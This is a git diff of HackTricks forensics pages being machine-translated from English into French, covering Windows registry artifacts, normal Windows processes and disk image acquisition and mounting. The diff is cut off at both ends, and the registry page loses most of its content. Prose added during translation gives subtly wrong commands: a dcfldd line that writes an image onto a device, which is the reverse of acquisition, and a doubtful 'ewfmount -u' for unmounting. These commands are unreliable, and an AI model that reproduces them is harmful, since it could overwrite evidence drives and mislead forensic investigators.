☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annon diff --git a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 9c8a8250d..59236c8c1 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,202 +1,44 @@ -# Interesting Windows Registry Keys +# Clés de registre Windows intéressantes -## Interesting Windows Registry Keys +## Clés de registre Windows intéressantes
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## **Windows system info** +## **Informations système Windows** ### Version -* **`Software\Microsoft\Windows NT\CurrentVersion`**: Windows version, Service Pack, Installation time and the registered owner +* **`Software\Microsoft\Windows NT\CurrentVersion`**: Version de Windows, Service Pack, heure d'installation et propriétaire enregistré -### Hostname +### Nom d'hôte -* **`System\ControlSet001\Control\ComputerName\ComputerName`**: Hostname +* **`System\ControlSet001\Control\ComputerName\ComputerName`**: Nom d'hôte -### Timezone +### Fuseau horaire -* **`System\ControlSet001\Control\TimeZoneInformation`**: TimeZone +* **`System\ControlSet001\Control\TimeZoneInformation`**: Fuseau horaire -### Last Access Time +### Heure d'accès la plus récente -* **`System\ControlSet001\Control\Filesystem`**: Last time access (by default it's disabled with `NtfsDisableLastAccessUpdate=1`, if `0`, then, it's enabled). - * To enable it: `fsutil behavior set disablelastaccess 0` +* **`System\ControlSet001\Control\Filesystem`**: Dernière heure d'accès (par défaut, elle est désactivée avec `NtfsDisableLastAccessUpdate=1`, si `0`, alors elle est activée). + * Pour l'activer : `fsutil behavior set disablelastaccess 0` -### Shutdown Time +### Heure d'arrêt -* `System\ControlSet001\Control\Windows`: Shutdown time -* `System\ControlSet001\Control\Watchdog\Display`: Shutdown count (only XP) +* `System\ControlSet001\Control\Windows` : Heure d'arrêt +* `System\ControlSet001\Control\Watchdog\Display` : Nombre d'arrêts (uniquement XP) -### Network Information +### Informations réseau -* **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**: Network interfaces -* **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`**: First and last time a network connection was performed and connections through VPN -* **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}` (for XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`**: Network type (0x47-wireless, 0x06-cable, 0x17-3G) an category (0-Public, 1-Private/Home, 2-Domain/Work) and last connections - -### Shared Folders - -* **`System\ControlSet001\Services\lanmanserver\Shares\`**: Share folders and their configurations. If **Client Side Caching** (CSCFLAGS) is enabled, then, a copy of the shared files will be saved in the clients and server in `C:\Windows\CSC` - * CSCFlag=0 -> By default the user needs to indicate the files that he wants to cache - * CSCFlag=16 -> Automatic caching documents. “All files and programs that users open from the shared folder are automatically available offline” with the “optimize for performance" unticked. - * CSCFlag=32 -> Like the previous options by “optimize for performance” is ticked - * CSCFlag=48 -> Cache is disabled. - * CSCFlag=2048: This setting is only on Win 7 & 8 and is the default setting until you disable “Simple file sharing” or use the “advanced” sharing option. It also appears to be the default setting for the “Homegroup” - * CSCFlag=768 -> This setting was only seen on shared Print devices. - -### AutoStart programs - -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run` -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce` -* `Software\Microsoft\Windows\CurrentVersion\Runonce` -* `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run` -* `Software\Microsoft\Windows\CurrentVersion\Run` - -### Explorer Searches - -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordwheelQuery`: What the user searched for using explorer/helper. The item with `MRU=0` is the last one. - -### Typed Paths - -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths`: Paths types in the explorer (only W10) - -### Recent Docs - -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`: Recent documents opened by the user -* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word}\FileMRU`:Recent office docs. Versions: - * 14.0 Office 2010 - * 12.0 Office 2007 - * 11.0 Office 2003 - * 10.0 Office X -* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word} UserMRU\LiveID_###\FileMRU`: Recent office docs. Versions: - * 15.0 office 2013 - * 16.0 Office 2016 - -### MRUs - -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU` -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LasVisitedPidlMRU` - -Indicates the path from where the executable was executed - -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSaveMRU` (XP) -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSavePidlMRU` - -Indicates files opened inside an opened Window - -### Last Run Commands - -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Policies\RunMR` - -### User AssistKey - -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count` - -The GUID is the id of the application. Data saved: - -* Last Run Time -* Run Count -* GUI application name (this contains the abs path and more information) -* Focus time and Focus name - -## Shellbags - -When you open a directory Windows saves data about how to visualize the directory in the registry. These entries are known as Shellbags. - -Explorer Access: - -* `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags` -* `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU` - -Desktop Access: - -* `NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU` -* `NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags` - -To analyze the Shellbags you can use [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) and you will be able to find the\*\* MAC time of the folder **and also the** creation date and modified date of the shellbag which are related to the\*\* first time and the last time\*\* the folder was accessed. - -Note 2 things from the following image: - -1. We know the **name of the folders of the USB** that was inserted in **E:** -2. We know when the **shellbag was created and modified** and when the folder was created and accessed - -![](<../../../.gitbook/assets/image (475).png>) - -## USB information - -### Device Info - -The registry `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` monitors each USB device that has been connected to the PC.\ -Within this registry it's possible to find: - -* The manufacturer's name -* The product name and version -* The Device Class ID -* The volume name (in the following images the volume name is the highlighted subkey) - -![](<../../../.gitbook/assets/image (477).png>) - -![](<../../../.gitbook/assets/image (479) (1).png>) - -Moreover, by checking the registry `HKLM\SYSTEM\ControlSet001\Enum\USB` and comparing the values of the sub-keys it's possible to find the VID value. - -![](<../../../.gitbook/assets/image (478).png>) - -With the previous information the registry `SOFTWARE\Microsoft\Windows Portable Devices\Devices` can be used to obtain the **`{GUID}`**: - -![](<../../../.gitbook/assets/image (480).png>) - -### User that used the device - -Having the **{GUID}** of the device it's now possible to **check all the NTUDER.DAT hives of all the users**, searching for the GUID until you find it in one of them (`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`). - -![](<../../../.gitbook/assets/image (481).png>) - -### Last mounted - -Checking the registry `System\MoutedDevices` it's possible to find out **which device was the last one mounted**. In the following image check how the last device mounted in `E:` is the Toshiba one (using the tool Registry Explorer). - -![](<../../../.gitbook/assets/image (483) (1) (1).png>) - -### Volume Serial Number - -In `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` you can find the volume serial number. **Knowing the volume name and the volume serial number you can correlate the information** from LNK files that uses that information. - -Note that when a USB device is formatted: - -* A new volume name is created -* A new volume serial number is created -* The physical serial number is kept - -### Timestamps - -In `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{83da6326-97a6-4088-9453-a1923f573b29}\` you can find the first and last time the device was connected: - -* 0064 -- First connection -* 0066 -- Last connection -* 0067 -- Disconnection - -![](<../../../.gitbook/assets/image (482).png>) - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**: Interfaces réseau +* **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` diff --git a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index 8a2c5b0dc..f27695f7a 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -1,151 +1,113 @@ - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - ## smss.exe -**Session Manager**.\ -Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree. +**Gestionnaire de session**.\ +La session 0 lance **csrss.exe** et **wininit.exe** (**services** **OS**) tandis que la session 1 lance **csrss.exe** et **winlogon.exe** (**session** **utilisateur**). Cependant, vous ne devriez voir **qu'un seul processus** de cette **application** sans enfants dans l'arborescence des processus. -Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring. +De plus, des sessions autres que 0 et 1 peuvent signifier que des sessions RDP sont en cours. ## csrss.exe -**Client/Server Run Subsystem Process**.\ -It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**. +**Processus de sous-système d'exécution client/serveur**.\ +Il gère les **processus** et les **threads**, rend l'API Windows disponible pour d'autres processus et **mappe les lettres de lecteur**, crée des **fichiers temporaires** et gère le **processus d'arrêt**. -There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**. +Il y a un **processus en cours d'exécution dans la session 0 et un autre dans la session 1** (donc **2 processus** dans l'arborescence des processus). Un autre est créé **par nouvelle session**. ## winlogon.exe -**Windows Logon Process**.\ -It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them. +**Processus de connexion Windows**.\ +Il est responsable des **connexions/déconnexions** des utilisateurs. Il lance **logonui.exe** pour demander le nom d'utilisateur et le mot de passe, puis appelle **lsass.exe** pour les vérifier. -Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**. +Ensuite, il lance **userinit.exe** qui est spécifié dans **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** avec la clé **Userinit**. -Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. +De plus, le registre précédent devrait avoir **explorer.exe** dans la clé **Shell** ou il pourrait être utilisé comme une **méthode de persistance de malware**. ## wininit.exe -**Windows Initialization Process**. \ -It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process. +**Processus d'initialisation Windows**. \ +Il lance **services.exe**, **lsass.exe** et **lsm.exe** dans la session 0. Il ne devrait y avoir qu'un seul processus. ## userinit.exe -**Userinit Logon Application**.\ -Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**. +**Application de connexion Userinit**.\ +Charge le **ntduser.dat dans HKCU** et initialise l'**environnement utilisateur** et exécute les **scripts de connexion** et les **GPO**. -It launches **explorer.exe**. +Il lance **explorer.exe**. ## lsm.exe -**Local Session Manager**.\ -It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc. +**Gestionnaire de session local**.\ +Il travaille avec smss.exe pour manipuler les sessions utilisateur : Connexion/Déconnexion, démarrage de la coquille, verrouillage/déverrouillage du bureau, etc. -After W7 lsm.exe was transformed into a service (lsm.dll). +Après W7, lsm.exe a été transformé en un service (lsm.dll). -There should only be 1 process in W7 and from them a service running the DLL. +Il ne devrait y avoir qu'un seul processus dans W7 et à partir de là, un service exécutant la DLL. ## services.exe -**Service Control Manager**.\ -It **loads** **services** configured as **auto-start** and **drivers**. +**Gestionnaire de contrôle de service**.\ +Il **charge** les **services** configurés en **démarrage automatique** et les **pilotes**. -It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more. +C'est le processus parent de **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** et bien d'autres. -Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe. +Les services sont définis dans `HKLM\SYSTEM\CurrentControlSet\Services` et ce processus maintient une base de données en mémoire des informations de service qui peuvent être interrogées par sc.exe. -Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**. +Notez comment **certains** **services** vont s'exécuter dans un **processus propre** et d'autres vont **partager un processus svchost.exe**. -There should only be 1 process. +Il ne devrait y avoir qu'un seul processus. ## lsass.exe -**Local Security Authority Subsystem**.\ -It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`. +**Sous-système d'autorité de sécurité local**.\ +Il est responsable de l'**authentification de l'utilisateur** et crée les **jetons de sécurité**. Il utilise des packages d'authentification situés dans `HKLM\System\CurrentControlSet\Control\Lsa`. -It writes to the **Security** **event** **log** and there should only be 1 process. +Il écrit dans le **journal d'événements de sécurité** et il ne devrait y avoir qu'un seul processus. -Keep in mind that this process is highly attacked to dump passwords. +Gardez à l'esprit que ce processus est fortement attaqué pour extraire les mots de passe. ## svchost.exe -**Generic Service Host Process**.\ -It hosts multiple DLL services in one shared process. +**Processus d'hôte de service générique**.\ +Il héberge plusieurs services DLL dans un processus partagé. -Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +Généralement, vous constaterez que **svchost.exe** est lancé avec le drapeau `-k`. Cela lancera une requête au registre **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** où il y aura une clé avec l'argument mentionné dans -k qui contiendra les services à lancer dans le même processus. -For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` +Par exemple : `-k UnistackSvcGroup` lancera : `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` -If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument. +Si le **drapeau `-s`** est également utilisé avec un argument, alors svchost est invité à **lancer uniquement le service spécifié** dans cet argument. -There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious. +Il y aura plusieurs processus de `svchost.exe`. Si l'un d'entre eux **n'utilise pas le drapeau `-k`**, c'est très suspect. Si vous constatez que **services.exe n'est pas le parent**, c'est également très suspect. ## taskhost.exe -This process act as a host for processes running from DLLs. It also loads the services that are running from DLLs. +Ce processus agit comme un hôte pour les processus exécutés à partir de DLL. Il charge également les services qui s'exécutent à partir de DLL. -In W8 this is called taskhostex.exe and in W10 taskhostw.exe. +Dans W8, cela s'appelle taskhostex.exe et dans W10 taskhostw.exe. ## explorer.exe -This is the process responsible for the **user's desktop** and launching files via file extensions. +C'est le processus responsable du **bureau de l'utilisateur** et du lancement de fichiers via les extensions de fichier. -**Only 1** process should be spawned **per logged on user.** +**Seul 1** processus devrait être lancé **par utilisateur connecté.** -This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. +Cela est exécuté à partir de **userinit.exe** qui devrait être terminé, donc **aucun parent** ne devrait apparaître pour ce processus. -# Catching Malicious Processes - -* Is it running from the expected path? (No Windows binaries run from temp location) -* Is it communicating with weird IPs? -* Check digital signatures (Microsoft artifacts should be signed) -* Is it spelled correctly? -* Is running under the expected SID? -* Is the parent process the expected one (if any)? -* Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?) - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- +# Capture de processus malveillants +* Est-il en cours d'exécution à partir du chemin attendu ? (Aucune application Windows ne s'exécute à partir de l'emplacement temporaire) +* Communique-t-il avec des adresses IP étranges ? +* Vérifiez les signatures numériques (les artefacts Microsoft doivent être signés) +* Est-il orthographié correctement ? +* Fonctionne-t-il sous l'identifiant de sécurité attendu ? +* Le processus parent est-il celui attendu (s'il y en a un) ? +* Les processus enfants sont-ils ceux attendus ? (pas de cmd.exe, wscript.exe, powershell.exe..?) diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index 635087f97..2a85b83dc 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -1,46 +1,53 @@ -# Image Acquisition & Mount +# Acquisition d'image et montage
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Acquisition ### DD - ```bash #This will generate a raw copy of the disk dd if=/dev/sdb of=disk.img ``` - ### dcfldd +dcfldd est une version améliorée de dd, qui permet de copier des données de manière plus rapide et plus efficace. Il offre également des fonctionnalités supplémentaires telles que la vérification de l'intégrité des données et la création de hachages de fichiers. Pour utiliser dcfldd, vous pouvez utiliser la commande suivante: + +``` +dcfldd if=/chemin/vers/image of=/dev/sdX bs=512 conv=noerror,sync hash=md5,sha256 hashwindow=10M hashlog=/chemin/vers/fichier_de_logs +``` + +- `if`: spécifie le chemin vers l'image que vous souhaitez copier +- `of`: spécifie le périphérique de destination sur lequel vous souhaitez copier l'image +- `bs`: spécifie la taille du bloc de données à copier +- `conv`: spécifie les options de conversion à utiliser lors de la copie des données +- `hash`: spécifie les algorithmes de hachage à utiliser pour vérifier l'intégrité des données +- `hashwindow`: spécifie la taille de la fenêtre de hachage +- `hashlog`: spécifie le chemin vers le fichier de logs dans lequel les hachages seront enregistrés. ```bash #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` - ### FTK Imager -You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). - +Vous pouvez [**télécharger FTK Imager ici**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). ```bash ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name' ``` - ### EWF -You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf). - +Vous pouvez générer une image de disque en utilisant les outils [**ewf**](https://github.com/libyal/libewf). ```bash ewfacquire /dev/sdb #Name: evidence @@ -57,15 +64,13 @@ ewfacquire /dev/sdb #Then use default values #It will generate the disk image in the current directory ``` +## Montage -## Mount +### Plusieurs types -### Several types - -In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. +Sous **Windows**, vous pouvez essayer d'utiliser la version gratuite d'Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) pour **monter l'image de la forensique**. ### Raw - ```bash #Get file type file evidence.img @@ -74,9 +79,27 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b #Mount it mount evidence.img /mnt ``` - ### EWF +L'Expert Witness Compression Format (EWF) est un format de fichier utilisé pour stocker une image disque. Il est souvent utilisé dans les enquêtes judiciaires pour acquérir des preuves numériques. EWF est capable de compresser l'image disque, ce qui permet de réduire la taille du fichier et de faciliter le stockage et le transfert des données. + +Pour monter une image EWF, vous pouvez utiliser le logiciel `ewfmount`. Ce logiciel permet de monter l'image EWF en tant que périphérique de blocs, ce qui permet d'accéder aux données contenues dans l'image comme si elles étaient stockées sur un disque dur physique. + +Pour monter une image EWF, vous pouvez utiliser la commande suivante : + +``` +ewfmount image.E01 /mnt/image/ +``` + +Cette commande monte l'image `image.E01` dans le répertoire `/mnt/image/`. Vous pouvez ensuite accéder aux données contenues dans l'image en naviguant dans le répertoire `/mnt/image/`. + +Une fois que vous avez terminé d'utiliser l'image, vous pouvez la démonter en utilisant la commande suivante : + +``` +ewfmount -u /mnt/image/ +``` + +Cette commande démonte l'image montée dans le répertoire `/mnt/image/`. ```bash #Get file type file evidence.E01 @@ -91,16 +114,14 @@ output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be #Mount 